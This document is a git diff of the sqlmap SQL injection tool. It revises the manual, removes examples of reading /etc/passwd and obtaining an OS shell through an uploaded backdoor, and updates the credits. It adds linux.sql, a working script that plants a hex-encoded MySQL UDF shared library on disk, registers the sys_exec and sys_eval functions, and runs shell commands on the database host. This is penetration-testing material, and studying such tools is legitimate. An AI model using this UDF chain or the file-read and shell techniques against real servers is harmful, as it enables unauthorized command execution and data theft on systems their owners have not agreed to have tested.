<tt>--read-file</tt> <p> -If the back-end database management system is MySQL and the current user -has <tt>FILE</tt> access (access to <tt>LOAD_FILE()</tt> builtin function), -it is possible to read the content of a specific file from the file system. +This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment. + + +<sect2>Write a local file on the back-end DBMS file system <p> -Example on a <bf>MySQL 5.0.67</bf> target: +Options: <tt>--write-file</tt> and <tt>--dest-file</tt> -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \ - --read-file /etc/passwd -v 0 - -/etc/passwd: ---- -root:x:0:0:root:/root:/bin/bash -daemon:x:1:1:daemon:/usr/sbin:/bin/sh -bin:x:2:2:bin:/bin:/bin/sh -sys:x:3:3:sys:/dev:/bin/sh -sync:x:4:65534:sync:/bin:/bin/sync -games:x:5:60:games:/usr/games:/bin/sh -man:x:6:12:man:/var/cache/man:/bin/sh -lp:x:7:7:lp:/var/spool/lpd:/bin/sh -mail:x:8:8:mail:/var/mail:/bin/sh -news:x:9:9:news:/var/spool/news:/bin/sh -uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh -proxy:x:13:13:proxy:/bin:/bin/sh -www-data:x:33:33:www-data:/var/www:/bin/false -backup:x:34:34:backup:/var/backups:/bin/sh -nobody:x:65534:65534:nobody:/nonexistent:/bin/sh -mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false -postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash -inquis:x:1000:100:Bernardo Damele A. G.,,,:/home/inquis:/bin/bash ---- -</verb></tscreen> +<p> +This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment. <sect1>Operating system access +<sect2>Execute an operating system command + +<p> +Option: <tt>--os-cmd</tt> + +<p> +This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment. + + <sect2>Prompt for an interactive operating system shell <p> Option: <tt>--os-shell</tt> <p> -If the back-end database management system is MySQL, the web application's -programming language is PHP and you, or sqlmap itself, found a writable -directory within the web server document root path, sqlmap can prompt for -an interactive operating system shell on the back-end database management -system. +This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment. + + +<sect2>Prompt for an out-of-band shell, meterpreter or VNC <p> -Example on a <bf>MySQL 5.0.67</bf> target: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \ - --os-shell -v 0 - -[hh:mm:49] [WARNING] unable to retrieve the injectable file absolute system path -[hh:mm:49] [WARNING] unable to retrieve the remote web server document root -[hh:mm:49] [INPUT] please provide the web server document root [/var/www]: -[hh:mm:53] [INPUT] please provide a list of directories absolute path comma separated that -you want sqlmap to try to upload the agent [/var/www/test]: -[hh:mm:55] [INPUT] do you want to use the uploaded backdoor as a shell to execute commands -right now? [Y/n] y -$ id -uid=33(www-data) gid=33(www-data) groups=33(www-data) -$ exit -</verb></tscreen> +Options: <tt>--os-pwn</tt>, <tt>--priv-esc</tt>, <tt>--msf-path</tt> and <tt>--tmp-path</tt> <p> -As you might notice, such operating system shell has the same -functionalities of SQL shell in terms of TAB completion and history support. +This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment. + + +<sect2>One click prompt for an out-of-band shell, meterpreter or VNC + +<p> +Options: <tt>--os-smbrelay</tt>, <tt>--priv-esc</tt> and <tt>--msf-path</tt> + +<p> +This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment. + + +<sect2>Stored procedure buffer overflow exploitation + +<p> +Options: <tt>--os-bof</tt>, <tt>--priv-esc</tt> and <tt>--msf-path</tt> + +<p> +This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment. <sect1>Miscellaneous @@ -3925,7 +4014,7 @@ $ python sqlmap.py --update -v 4 [hh:mm:55] [TRAFFIC OUT] HTTP request: GET /doc/VERSION HTTP/1.1 Host: sqlmap.sourceforge.net -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200): @@ -3944,7 +4033,7 @@ X-Pad: avoid browser bug [hh:mm:56] [TRAFFIC OUT] HTTP request: GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1 Host: www.sqlsecurity.com -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; language=en-US Connection: close @@ -4104,7 +4193,6 @@ INI file, <tt>sqlmap-SAUbs.conf</tt>. <tscreen><verb> $ cat sqlmap-SAUbs.conf - [Target] url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1 googledork = @@ -4119,7 +4207,7 @@ delay = 0 headers = cookie = proxy = -timeout = 10 +timeout = 30 acred = referer = data = @@ -4127,10 +4215,11 @@ method = GET [Miscellaneous] updateall = False -eta = False -verbose = 2 -batch = False sessionfile = +eta = False +batch = False +cleanup = False +verbose = 1 [Enumeration] dumpall = False @@ -4156,24 +4245,33 @@ getcurrentuser = False getbanner = True [File system] +dfile = wfile = rfile = [Takeover] +msfpath = osshell = False +ossmb = False +privesc = False +ospwn = False +tmppath = +oscmd = +osbof = False [Fingerprint] extensivefp = False [Injection] -estring = dbms = string = postfix = +regexp = prefix = testparameter = -regexp = +estring = eregexp = +os = [Techniques] stackedtest = False @@ -4248,6 +4346,15 @@ As you can see, sqlmap choosed automatically to injection on the first vulnerable parameter which is the default behaviour. +<sect2>Clean up the DBMS by sqlmap specific UDF and tables + +<p> +Option: <tt>--cleanup</tt> + +<p> +This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment. + + <sect>Disclaimer <p> @@ -4263,13 +4370,11 @@ that such action might get you in trouble with a lot of law enforcement agencies. -<sect>Authors +<sect>Author <p> -<itemize> -<item><htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G."> (inquis) - project leader, core developer. PGP Key ID: <htmlurl url="http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x05F5A30F" name="0x05F5A30F"> -<item><htmlurl url="mailto:daniele.bellucci@gmail.com" name="Daniele Bellucci"> (belch) - project founder, initial developer. PGP Key ID: <htmlurl url="http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x9A0E8190" name="0x9A0E8190"> -</itemize> +<htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G."> (inquis) - Lead developer. +PGP Key ID: <htmlurl url="http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x05F5A30F" name="0x05F5A30F"> </article> diff --git a/doc/THANKS b/doc/THANKS index 142c0799c..2782cfbff 100644 --- a/doc/THANKS +++ b/doc/THANKS @@ -5,9 +5,20 @@ Chip Andrews <chip@sqlsecurity.com> at SQLSecurity.com and permission to implement the update feature taking data from his site +Daniele Bellucci <daniele.bellucci@gmail.com> + for starting sqlmap project and developing it between July and August + 2006 + Jack Butler <fattredd@hotmail.com> for providing me with the sqlmap site favicon +Cesar Cerrudo <cesar@argeniss.com> + for his Windows access token kidnapping tool Churrasco included in + sqlmap tree as a contrib library and used to run the stand-alone + payload stager on the target Windows machine as SYSTEM user if the + user wants to perform a privilege escalation attack, + http://www.argeniss.com/research/Churrasco.zip + Karl Chen <quarl@cs.berkeley.edu> for providing with the multithreading patch for the inference algorithm @@ -19,6 +30,11 @@ Pierre Chifflier <pollux@debian.org> Stefano Di Paola <stefano.dipaola@wisec.it> for suggesting good features +Dan Guido <dguido@gmail.com> + for promoting sqlmap in the context of the Penetration Testing and + Vulnerability Analysis class at the Polytechnic University of New York, + http://isisblogs.poly.edu/courses/pentest/ + Adam Faheem <faheem.adam@is.co.za> for reporting a few bugs @@ -33,6 +49,9 @@ Giorgio Fedon <giorgio.fedon@gmail.com> for suggesting a speed improvement for bisection algorithm for reporting a bug when running against Microsoft SQL Server 2005 +Alan Franzoni <alan.franzoni@gmail.com> + for helping me out with Python subprocess library + Ivan Giacomelli <truemilk@insiberia.net> for reporting a bug for suggesting a minor enhancement @@ -59,11 +78,20 @@ Anant Kochhar <anant.kochhar@secureyes.net> for providing me with feedback on the user's manual Alexander Kornbrust <ak@red-database-security.com> - for reporting a bug + for reporting a couple of bugs + +Guido Landi <lists@keamera.org> + for the great technical discussions + for Microsoft SQL Server 2000 and Microsoft SQL Server 2005 + 'sp_replwritetovarbin' stored procedure heap-based buffer overflow + (MS09-004) exploit development, http://www.milw0rm.com/author/1413 Nico Leidecker <nico@leidecker.info> for providing me with feedback on a few features +Gabriel Lima <pato@bugnet.com.br> + for reporting a bug + Pavol Luptak <pavol.luptak@nethemba.com> for reporting a bug when injecting on a POST data parameter @@ -73,7 +101,7 @@ Michael Majchrowicz <mmajchrowicz@gmail.com> for suggesting a lot of ideas and features Ferruh Mavituna <ferruh@mavituna.com> - for providing me with ideas on the implementation on a couple of + for providing me with ideas on the implementation of a couple of new features Enrico Milanese <enricomilanese@gmail.com> @@ -83,6 +111,14 @@ Enrico Milanese <enricomilanese@gmail.com> Roberto Nemirovsky <roberto.paes@gmail.com> for pointing me out some enhancements +Markus Oberhumer <markus.oberhumer@jk.uni-linz.ac.at> +Laszlo Molnar <ml1050@cdata.tvnet.hu> +John F. Reiser <sales@bitwagon.com> + for their great tool UPX (Ultimate Packer for eXecutables) included + in sqlmap tree as a contrib library and used mainly to pack the + Metasploit Framework 3 payload stager portable executable, + http://upx.sourceforge.net + Antonio Parata <s4tan@ictsc.it> for providing me with some ideas for the PHP backdoor @@ -123,7 +159,7 @@ Uemit Seren <uemit.seren@gmail.com> for reporting a minor adjustment when running with python 2.6 Sumit Siddharth <sid@notsosecure.com> - for providing me with ideas on the implementation on a couple of + for providing me with ideas on the implementation of a couple of features M Simkin <mlsimkin@cox.net> @@ -133,6 +169,9 @@ Konrads Smelkovs <konrads@smelkovs.com> for reporting a few bugs in --sql-shell and --sql-query on Microsoft SQL Server +Marek Stiefenhofer <m.stiefenhofer@r-tec.net> + for reporting a bug + Jason Swan <jasoneswan@gmail.com> for reporting a bug when enumerating columns on Microsoft SQL Server for suggesting a couple of improvements @@ -142,10 +181,13 @@ Alessandro Tanasi <alessandro@tanasi.it> for suggesting many features and reporting some bugs for reviewing the documentation +Andres Tarasco <atarasco@gmail.com> + for providing me with good feedback + Efrain Torres <et@metasploit.com> for helping me out to improve the Metasploit Framework 3 sqlmap auxiliary module and for commiting it on the Metasploit official - Subversion repository + subversion repository for his great Metasploit WMAP Framework Sandro Tosi <matrixhasu@gmail.com> @@ -160,6 +202,11 @@ Bedirhan Urgun <bedirhanurgun@gmail.com> Kyprianos Vassilopoulos <kyprianos.vasilopoulos@gmail.com> for reporting an unhandled connection exception +Anthony Zboralski <anthony.zboralski@bellua.com> + for providing me with detailed feedback + for reporting a few minor bugs + for donating to sqlmap development + fufuh <fufuh@users.sourceforge.net> for reporting a bug when running on Windows @@ -172,6 +219,19 @@ Sylphid <sylphid.su@sti.com.tw> == Organizations == +Black Hat team <info@blackhat.com> + for the opportunity to present my research on 'Advanced SQL injection + to operating system full control' at Black Hat Europe 2009 Briefings on + April 16, 2009 in Amsterdam (NL). I unveiled and demonstrated some of + the sqlmap 0.7 release candidate version new features during my + presentation + +Metasploit LLC <msfdev@metasploit.com> + for their powerful tool Metasploit Framework 3, used by sqlmap, among + others things, to create the payload stager and establish an + out-of-band connection between sqlmap and the database server, + http://www.metasploit.com/framework + OWASP Board <http://www.owasp.org> for sponsoring part of the sqlmap development in the context of OWASP Spring of Code 2007 diff --git a/extra/mysqludfsys/command_execution/linux.sql b/extra/mysqludfsys/command_execution/linux.sql new file mode 100644 index 000000000..892d6f181 --- /dev/null +++ b/extra/mysqludfsys/command_execution/linux.sql @@ -0,0 +1,119 @@ +-- Notes: +-- +-- The SO compiled using MySQL 5.0.67 C libraries works also on MySQL +-- 5.1.30 and MySQL 4.1.22 (TODO: confirm) +-- +-- SO compiled using MySQL 5.1.30 C libraries +-- lib_mysqludf_sys.so: 12896 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped) +-- lib_mysqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped) +-- +-- Little hack to compress the shared object: +-- * Compile with -O1 the shared object +-- * Use strip to remove all symbols (-s) and non-global symbols (-x) + + +-- Create a table with one field data-type text +DROP TABLE IF EXISTS udftest; +CREATE TABLE udftest(data blob); + + +-- Insert the hexadecimal encoded UDF in the table +-- +-- SO compiled using MySQL 5.1.30 C libraries +INSERT INTO udftest(data) VALUE (0x7f454c46010101000000000000000000030003000100000010080000340000007c1100000000000034002000050028001900180001000000000000000000000000000000bc0e0000bc0e0000050000000010000001000000040f0000041f0000041f00000801000010010000060000000010000002000000180f0000181f0000181f0000d0000000d0000000060000000400000051e574640000000000000000000000000000000000000000060000000400000052e57464040f0000041f0000041f0000fc000000fc00000004000000010000001100000024000000000000000d00000000000000030000001a00000000000000070000001b0000000a000000140000000f000000150000000c0000000e0000001e000000060000001c000000000000000000000000000000010000000000000000000000020000000400000000000000230000002200000000000000130000001d000000170000000b000000000000000000000005000000090000002100000011000000000000001800000020000000080000001f0000000000000010000000000000001900000000000000160000000000000012000000000000001100000010000000040000000700000001080440801946c99ca40803900460831000000012000000130000001500000016000000180000001b0000001d0000000000); +UPDATE udftest SET data=CONCAT(data,0x00001e000000000000001f0000002000000021000000220000002300000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed971581ca868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff3b9fd4a0ad73d1c50b5911feab5fbe12000000000000000000000000000000009500000000000000000000001200000001000000000000000000000020000000250000000000000000000000200000009b0000000000000000000000120000007201000000000000000000001200000039010000000000000000000012000000a3000000000000000000000012000000ab00000000000000000000001200000065010000000000000000000012000000480100000000000000000000120000008e000000000000000000000012000000b8000000000000000000000012000000160000000000000000000000220000004f010000000000000000000012000000b1000000000000000000000012000000400100006a0d00008b00000012000b0075000000db0800000500000012000b0010000000980e00000000000012000c00ff0000008d0c00004b00000012000b00df000000ac07000000000000120009008a0100000c200000000000001000f1ff300100004d0d00001d00000012000b009601000014200000000000001000f1ff); +UPDATE udftest SET data=CONCAT(data,0x56000000d10800000500000012000b00c90000001f0a00007300000012000b006a0100000f0e00004500000012000b0039000000cc0800000500000012000b00f2000000140c00007900000012000b00830100000c200000000000001000f1ff65000000d60800000500000012000b00e5000000050b00000f01000012000b00d7000000920a00007300000012000b0015010000d80c00007500000012000b0056010000f50d00001a00000012000b0085000000e00800003f01000012000b00005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f63007374726e6370790066676574730070636c6f7365005f5f737461636b5f63686b5f6661696c007379735f6576616c5f696e6974007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379); +UPDATE udftest SET data=CONCAT(data,0x735f657865630073797374656d007379735f736574006d656d63707900736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e312e3300474c4942435f322e3400474c4942435f322e3000474c4942435f322e310000000002000000000003000300030003000300030003000300040005000300020001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000400790100001000000000000000731f6909000005009b010000100000001469690d00000400a7010000100000001069690d00000300b1010000100000001169690d00000200bb010000000000001e09000008000000082000000800000014090000020b0000c50b0000020b00002b090000020100006a090000020400008b09000002070000b109000002080000c3090000020f0000100a0000020c00005f0d0000020600009c0d0000020a0000c10d0000020a0000df0d0000020e0000090e000002090000220e000002050000e81f000006020000ec1f000006030000f01f0000060d0000002000000702000004200000070d00005589e55383ec04e8000000005b81c33c1800008b93f4ffffff85d274); +UPDATE udftest SET data=CONCAT(data,0x05e81e000000e8bd000000e888060000585bc9c3ffb304000000ffa30800000000000000ffa30c0000006800000000e9e0ffffffffa3100000006808000000e9d0ffffff000000005589e55653e8ad00000081c3da17000083ec1080bb1800000000755d8b83fcffffff85c0740e8b8314000000890424e8b8ffffff8b8b1c0000008d831cffffff8d9318ffffff29d0c1f8028d70ff39f173208db6000000008d410189831c000000ff948318ffffff8b8b1c00000039f172e6c683180000000183c4105b5e5dc35589e553e82e00000081c35b17000083ec048b9320ffffff85d274158b93f8ffffff85d2740b8d8320ffffff890424ffd283c4045b5dc38b1c24c3905589e55dc35589e55dc35589e55dc35589e55dc35589e557565381ec2c0400008b5d0c8b45148985d8fbffff8b55188995d4fbffff65a1140000008945f031c0c7042401000000e8fcffffff89c6c7442404b40e00008b43088b00890424e8fcffffff8985dcfbffffc785e0fbffff00000000eb548dbdf0fbffffb800000000b9fffffffff2ae89c8f7d08d78ff8b9de0fbffff01fb895c2404893424e8fcffffff89c6897c24088d95f0fbffff895424048b95e0fbffff8d0410890424e8fcffffff899de0fbffff8b85dcfbffff89442408c7442404000400008d95f0fbffff891424e8fcffffff85c075888b); +UPDATE udftest SET data=CONCAT(data,0x85dcfbffff890424e8fcffffff803e00740485f6750b8b95d4fbffffc60201eb268b85e0fbffffc64406ff0089f7b800000000b9fffffffff2aef7d183e9018b95d8fbffff890a89f08b55f0653315140000007405e8fcffffff81c42c0400005b5e5f5dc35589e58b450c8b5510833801750d8b4004b9000000008338007454c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b90100000089c85dc35589e58b450c8b5510833801750d8b4004b9000000008338007454c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b90100000089c85dc35589e55383ec048b550c8b5d10833a027444c70345787065c7430463746564c7430820657861c7430c63746c79c743102074776fc7431420617267c74318756d656e66c7431c7473c6431e00ba01000000e9b10000008b4204833800744cc70345787065c7430463746564c7430820737472c7430c696e6720c7431074797065c7431420666f72c74318206e616dc7431c65207061c7432072616d65c7432474657200ba010000); +UPDATE udftest SET data=CONCAT(data,0x00eb5dc74004000000008b520c8b0283c002034204890424e8fcffffff8b550889420cba0000000085c07534c703436f756cc7430464206e6fc743087420616cc7430c6c6f6361c743107465206dc74314656d6f7266c743187900ba0100000089d083c4045b5dc35589e58b450c8b551083380175158b4004833800750d8b4508c60001b800000000eb54c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b8010000005dc35589e58b4510c7006c69625fc740046d797371c740086c756466c7400c5f737973c7401020766572c7401473696f6ec7401820302e3066c7401c2e33c6401e008b5514c7021e0000005dc35589e58b5510b9000000008b450c833800745ec7024e6f2061c742047267756dc74208656e7473c7420c20616c6cc742106f776564c7421420287564c74218663a206cc7421c69625f6dc742207973716cc742247564665fc742287379735fc7422c696e666f66c742302900b90100000089c85dc35589e583ec088b450c8b40088b00890424e8fcffffff89c2c1fa1fc9c35589e583ec18895df48975f8897dfc8b5d0c8b45088b700c8b430c8b108d7c16018b43088b008954240889442404893424e8fcff); +UPDATE udftest SET data=CONCAT(data,0xffff8b430c8b00c60406008b530c8b43088b48048b420489442408894c2404893c24e8fcffffff8b430c8b4004c6040700c744240801000000897c2404893424e8fcffffff89c2c1fa1f8b5df48b75f88b7dfc89ec5dc35589e583ec088b45088b400c85c07408890424e8fcffffffc9c35589e55783ec048b450c8b40088b00890424e8fcffffff89c285c075088b4518c60001eb1889c7b800000000b9fffffffff2aef7d183e9018b4514890889d083c4045f5dc39090909090909090909090905589e55653e85dfaffff81c38a1100008b8310ffffff83f8ff74198db310ffffff8db4260000000083ee04ffd08b0683f8ff75f45b5e5dc35589e55383ec04e8000000005b81c350110000e860f9ffff595bc9c37200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000ffffffff000000000000000001000000790100000c000000ac0700000d000000980e000004000000d4000000f5feff6fb001000005000000a404000006000000640200000a000000c50100000b0000001000000003000000f41f000002000000100000001400000011000000170000009c07000011000000040700001200000098000000); +UPDATE udftest SET data=CONCAT(data,0x13000000080000001600000000000000feffff6fb4060000ffffff6f01000000f0ffff6f6a060000faffff6f0200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000181f00000000000000000000f20700000208000008200000004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c2e64796e002e72656c2e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e74000000000000000000); +UPDATE udftest SET data=CONCAT(data,0x000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000d4000000d4000000dc000000030000000000000004000000040000000b000000f6ffff6f02000000b0010000b0010000b400000003000000000000000400000004000000150000000b00000002000000640200006402000040020000040000000100000004000000100000001d0000000300000002000000a4040000a4040000c50100000000000000000000010000000000000025000000ffffff6f020000006a0600006a060000480000000300000000000000020000000200000032000000feffff6f02000000b4060000b40600005000000004000000010000000400000000000000410000000900000002000000040700000407000098000000030000000000000004000000080000004a00000009000000020000009c0700009c07000010000000030000000a0000000400000008000000530000000100000006000000ac070000ac07000030000000000000000000000004000000000000004e0000000100000006000000dc070000dc0700003000000000000000000000000400000004000000590000000100000006000000100800001008000088060000000000000000000010000000000000005f0000000100000006000000980e0000980e00001c000000); +UPDATE udftest SET data=CONCAT(data,0x00000000000000000400000000000000650000000100000032000000b40e0000b40e000002000000000000000000000001000000010000006d0000000100000002000000b80e0000b80e00000400000000000000000000000400000000000000770000000100000003000000041f0000040f000008000000000000000000000004000000000000007e00000001000000030000000c1f00000c0f00000800000000000000000000000400000000000000850000000100000003000000141f0000140f000004000000000000000000000004000000000000008a0000000600000003000000181f0000180f0000d000000004000000000000000400000008000000930000000100000003000000e81f0000e80f00000c00000000000000000000000400000004000000980000000100000003000000f41f0000f40f00001400000000000000000000000400000004000000a1000000010000000300000008200000081000000400000000000000000000000400000000000000a700000008000000030000000c2000000c1000000800000000000000000000000400000000000000ac0000000100000000000000000000000c100000b90000000000000000000000010000000000000001000000030000000000000000000000c5100000b500000000000000000000000100000000000000); + + +-- Export the hexadecimal encoded UDF to a binary file on the file system +-- +-- On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0: +-- +-- From MySQL 5.1 and 6.0 official documentation: +-- +-- shared_library_name is the basename of the shared object file +-- that contains the code that implements the function. The file +-- must be located in the plugin directory. This directory is given +-- by the value of the plugin_dir system variable. +-- +-- Note that /TODO/plugin DOES NOT +-- exist by default so it is NOT possible to save the SO in the proper +-- folder where MySQL server looks for SOs. +-- +-- References: +-- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html +-- http://dev.mysql.com/doc/refman/6.0/en/create-function-udf.html +-- +-- The SO can be only in /TODO +-- SELECT data FROM udftest INTO DUMPFILE '/TODO/lib_mysqludf_sys.so'; -- On MySQL 5.1 >= 5.1.19 +-- SELECT data FROM udftest INTO DUMPFILE '/TODO/lib_mysqludf_sys.so'; -- On MySQL 6.0 +-- +-- On MySQL 4.1 < 4.1.25, MySQL 5.0 < 5.0.67 and MySQL 5.1 < 5.1.19: +-- +-- From MySQL 4.1 and 5.0 official documentation: +-- +-- shared_library_name is the basename of the shared object file +-- that contains the code that implements the function. As of MySQL +-- M.m.m, the file must be located in the plugin directory. This +-- directory is given by the value of the plugin_dir system variable. +-- If the value of plugin_dir is empty, the behavior that is used +-- before M.m.m applies: The file must be located in a directory +-- that is searched by your system's dynamic linker. +-- +-- References: +-- http://dev.mysql.com/doc/refman/4.1/en/create-function-udf.html +-- http://dev.mysql.com/doc/refman/5.0/en/create-function-udf.html +-- +-- The SO can be in either /lib, /usr/lib or one of the paths specified in +-- /etc/ld.so.conf file, none of these paths are writable by mysql user by +-- default (tested on MySQL 5.0.67 with NO plugin_dir set in my.cnf +-- configuration file, which is the default setting) +-- SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file +SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file +-- SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 5.1 < 5.1.19 with NO plugin_dir set in my.ini configuration file +-- +-- Notes: +-- If the library file already exists, the user mysql does not have access +-- to overwrite it +-- The following enumerates the MySQL data directory +-- SELECT @@datadir +-- The followings will save into /var/lib/mysql/. It is not a valid PATH +-- where MySQL looks for SO +-- SELECT data FROM udftest INTO DUMPFILE './lib_mysqludf_sys.so'; +-- The following will save into /var/lib/mysql/mysql where 'mysql' is the +-- database name where it is connected. It is not a valid PATH where MySQL +-- looks for SO +-- SELECT data FROM udftest INTO DUMPFILE 'lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql +-- The following would save into / (Permission denied) +-- SELECT data FROM udftest INTO DUMPFILE '/lib_mysqludf_sys.so'; + + +-- Create two functions from the binary UDF file +-- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0 +-- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0 +DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0 +DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0 +CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so'; +CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so'; + + +-- Test the two functions +SELECT sys_exec('echo test > /tmp/lib_mysqludf_sys.txt'); -- -rw-rw---- 1 mysql mysql +SELECT sys_eval('cat /tmp/lib_mysqludf_sys.txt ; id'); + + +-- Cleanup the file system and the database +SELECT sys_exec('rm -f /tmp/lib_mysqludf_sys.*'); +DROP TABLE IF EXISTS udftest; +-- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0 +-- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0 +DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0 +DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0 diff --git a/extra/mysqludfsys/command_execution/windows.sql b/extra/mysqludfsys/command_execution/windows.sql new file mode 100644 index 000000000..46fae0048 --- /dev/null +++ b/extra/mysqludfsys/command_execution/windows.sql @@ -0,0 +1,128 @@ +-- Notes: +-- +-- The DLL compiled using MySQL 5.1.30 C libraries works also on MySQL +-- 5.0.67 and MySQL 4.1.22 +-- +-- DLL compiled using MySQL 5.1.30 C libraries +-- lib_mysqludf_sys.dll: 9216 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit) +-- lib_mysqludf_sys.dll: 6656 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed) +-- +-- Little hack to compress the dynamic-linked library: +-- * Read instructions on http://rpbouman.blogspot.com/2007/09/creating-mysql-udfs-with-microsoft.html +-- * Remember to compile it under Visual C++ 2008 with the +-- 'Configuration' set as 'Release' 